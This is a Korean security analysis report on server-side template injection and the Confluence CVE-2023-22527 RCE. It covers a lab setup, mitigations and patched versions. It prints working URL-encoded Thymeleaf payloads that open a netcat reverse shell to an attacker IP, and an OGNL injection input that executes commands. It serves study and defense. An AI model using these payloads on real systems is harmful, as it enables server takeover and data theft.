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Research & Technique 
    

 

SSTI & Atlassian Confluence RCE 취약점(CVE-2023-22527) 

1. Server-Side Template Injection(SSTI) 

■ 취약점 개요  
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■ SSTI 동작 과정 

 
 

① 공격자는 특정 템플릿 구문을 이용해서 SSTI 취약점이 있는지 확인한다. 

② SSTI 취약점이 확인되면, 공격자가 악의적인 템플릿 구문을 삽입하여 악성 코드 업로드, 원격 명령 실행을 수

행한다. 

③ 취약한 서버는 공격자의 입력 값을 템플릿 구문으로 해석하여 해당 템플릿 구문 실행 결과를 반환한다. 

④ 공격자는 악의적인 템플릿 구문 실행을 통해 서버의 주요정보를 탈취한다. 
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■ 주요 언어별 서버 측 템플릿 엔진 

Language Framework Template Engine 템플릿 구문 예시 

Python Flask Jinja2 {{7*7}} 

C# ASP.Net Razor @(7*7) 

Java Springboot Thymeleaf ${7*7} 

JavaScript - Jade = 7*7 

PHP Symphony Twig {{7*7}} 
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■ SSTI 공격 분석 

import org.thymeleaf.spring5.SpringTemplateEngine; 

import org.thymeleaf.templateresolver.ITemplateResolver; 

import org.thymeleaf.templateresolver.StringTemplateResolver; 

… (중략) … 

public class MainController { 

    @RequestMapping("/thymeleaf") 

    @ResponseBody 

    public String thymeleaf(@RequestParam(defaultValue="sktester") String username, HttpServletRequest 

request, HttpServletResponse response) { 

        String template = "<!DOCTYPE html><html lang='en'><head>" + 

        … (중략) … 

        + name +"</p></body></html>"; 

        TemplateEngine templateEngine = new SpringTemplateEngine(); 

        ITemplateResolver templateResolver = new StringTemplateResolver(); 

        templateEngine.setTemplateResolver(templateResolver); 

        WebContext ctx = new WebContext(request, response, request.getServletContext()); 

        … (중략) … 

        Writer out = new StringWriter(); 

        templateEngine.process(template, ctx, out); 

        return out.toString();}

구분자 설명 예시 

${ … } 변수 표현식 <div th:text=”${foo}”></div> 

@{ … } URL 링크 표현식 

<li><a 

th:href=”@{/foo(param1=${param1}, 

param2=${param2})}”>foo</a></li> 

[[ … ]] 데이터 직접 접근 [[${data}]] 

th:text 태그 내 데이터 접근 <h1 th:text=”${data}”>data</h1> 

(※ https://www.thymeleaf.org/doc/tutorials/3.0/uingthymeleaf.html#standard-expression-syntax) 

https://www.thymeleaf.org/doc/tutorials/3.0/uingthymeleaf.html#standard-expression-syntax
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페이로드 [[${7*7}]] 

입력 값 ?username=%5b%5b%24%7b%37%2a%37%7d%5d%5d 

페이로드 <a th:text=${7*7}></a> 

입력 값 
?username=%3c%61%20%74%68%3a%74%65%78%74%3d%24%7b%37%2a%37%7d 

%3e%3c%2f%61%3e 
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페이로드 
<a th:text=”${‘’.getClass().forName(‘java.lang.Runtime’).getRuntime().exec(‘nc –e 

 /bin/sh 192.168.102.61 8888’)}”></a> 

입력 값 

?username= <a%20th%3atext%3d”%24%7b%27%27%2egetClass%28%29%2eforName%28%27 

java%2elang%2eRuntime%27%29%2egetRuntime%28%29%2eexec%28%27nc%20-

e%20%2fbin%2fsh%20192%2e168%2e102%2e61%208888%27%29%7d”><%2fa> 

 

 

 

 

 



 

EQST insight | 7 

페이로드 <th th:text="${T( java.lang.Runtime).getRuntime().exec('nc -e /bin/sh 192.168.102.61 8888')}">Test</th> 

입력 값 

?username= <th%20th%3atext%3d"%24%7bT%28java%2elang%2eRuntime%29%2egetRuntime 

%28%29%2eexec%28%27nc%20-e%20%2fbin%2fsh%20192%2e168%2e102%2e61 

%208888%27%29%7d">Test<%2fth> 

 

 

 

페이로드 [[${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("nc -e /bin/sh 192.168.102.61 8888")}]] 

입력 값 
?username=%5b%5b%24%7b%23rt%20%3d%20%40java%2elang%2eRuntime%40getRuntime%28%29%2c

%23rt%2eexec%28"nc%20-e%20%2fbin%2fsh%20192%2e168%2e102%2e61%208888"%29%7d%5d%5d 
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■ SSTI 대응 방안 

#!/usr/bin/python3 

from flask import * 

 

… (중략) … 

 

@app.route('/', methods=[‘POST’,’GET’]) 

def index(): 

    a = int(request.form[‘a’]) 

    return render_template(‘index.html’, a=a) 

… (후략) …
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페이로드 {{7*7}} 

입력 값 ?id=%7b%7b7%2a7%7d%7d 

 

 

필터링 대상(예시) 
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2. Atlassian Confluence Server 및 Data Center 원격 코드 실행 

취약점(CVE-2023-22527) 

■ 취약점 개요  
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■ 공격 시나리오 

① 공격자는 OSINT 검색 엔진을 통해 취약한 Confluence 서버를 탐색 

② 공격자는 CVE-2023-22527 취약점을 이용하여 피해자 서버에 접근 

③ 공격자는 원격 명령 실행을 통해 Reverse Shell 연결 

④ 공격자는 피해자의 서버를 장악한 뒤 주요 정보를 탈취 

■ 영향받는 소프트웨어 버전 

S/W 구분 취약 버전 

Atlassian Confluence Data Center and Server 

8.0.x 

8.1.x 

8.2.x 

8.3.x 

8.4.x 

8.5.0 ~ 8.5.3 
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■ 테스트 환경 구성 정보 

이름 정보 

피해자 

Ubuntu 22.04.3 LTS 

Atlassian Confluence 8.5.3 

(172.25.48.1) 

공격자 
Kali Linux 

(192.168.142.135) 

■ 취약점 테스트 

 

https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2023-22527
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$ python3 CVE-2023-22527.py --target [Confluence 서버 주소] –-cmd [명령어] 

 

 

 

https://github.com/Avento/CVE-2023-22527_Confluence_RCE
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■ 취약점 상세 분석 

 

 

구분자 설명 예시 

#var 변수 참조 #var = 99 

@class@method(args) 정적 메서드 호출 
@java.util.LinkedHashMap@{“foo”:”foo 

value”, “bar” :”bar value”} 

(※ https://commons.apache.org/dormant/commons-ognl/language-guide.html) 

https://www.skshieldus.com/download/files/download.do?o_fname=EQST%20insight_%ED%86%B5%ED%95%A9%EB%B3%B8_202209.pdf&r_fname=20220926092549714.pdf
https://www.skshieldus.com/download/files/download.do?o_fname=EQST%20insight_%ED%86%B5%ED%95%A9%EB%B3%B8_202209.pdf&r_fname=20220926092549714.pdf
https://commons.apache.org/dormant/commons-ognl/language-guide.html
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?label=\u0027%2b#[OGNL 실행 구문]%2b\u0027 
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객체 RCE 가능 여부 

#request[‘.KEY_velocity.struts2.context’] RCE 가능 

#request[‘.freemarker.TemplateModel’] RCE 가능 

#request[‘.freemarker.Request’] 접근 가능 

 

 

https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/plugins/velocity/src/main/java/org/apache/struts2/views/velocity/VelocityManager.java
https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/plugins/velocity/src/main/java/org/apache/struts2/views/velocity/VelocityManager.java
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입력 값 

?label=\u0027%2b%23request\u005b\u0027.KEY_velocity.struts2.context\u0027 

\u005d.internalGet(\u0027ognl\u0027).findValue(%23parameters.x,{})%2b\u0027 

&x=@org.apache.struts2.ServletActionContext@getResponse().getWriter().write(( 

new freemarker.template.utility.Execute()).exec({"id"})) 

 

 

 



 

EQST insight | 21 

■ 대응 방안 

 

제품 패치가 적용된 버전 

Confluence Data Center and Confluence Server 8.5.4(LTS) 

Confluence Data Center 
8.6.0(Data Center Only) 

8.7.1(Data Center Only) 

 

https://confluence.atlassian.com/kb/faq-for-cve-2023-22527-1332810917.html
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■ 참고 사이트  




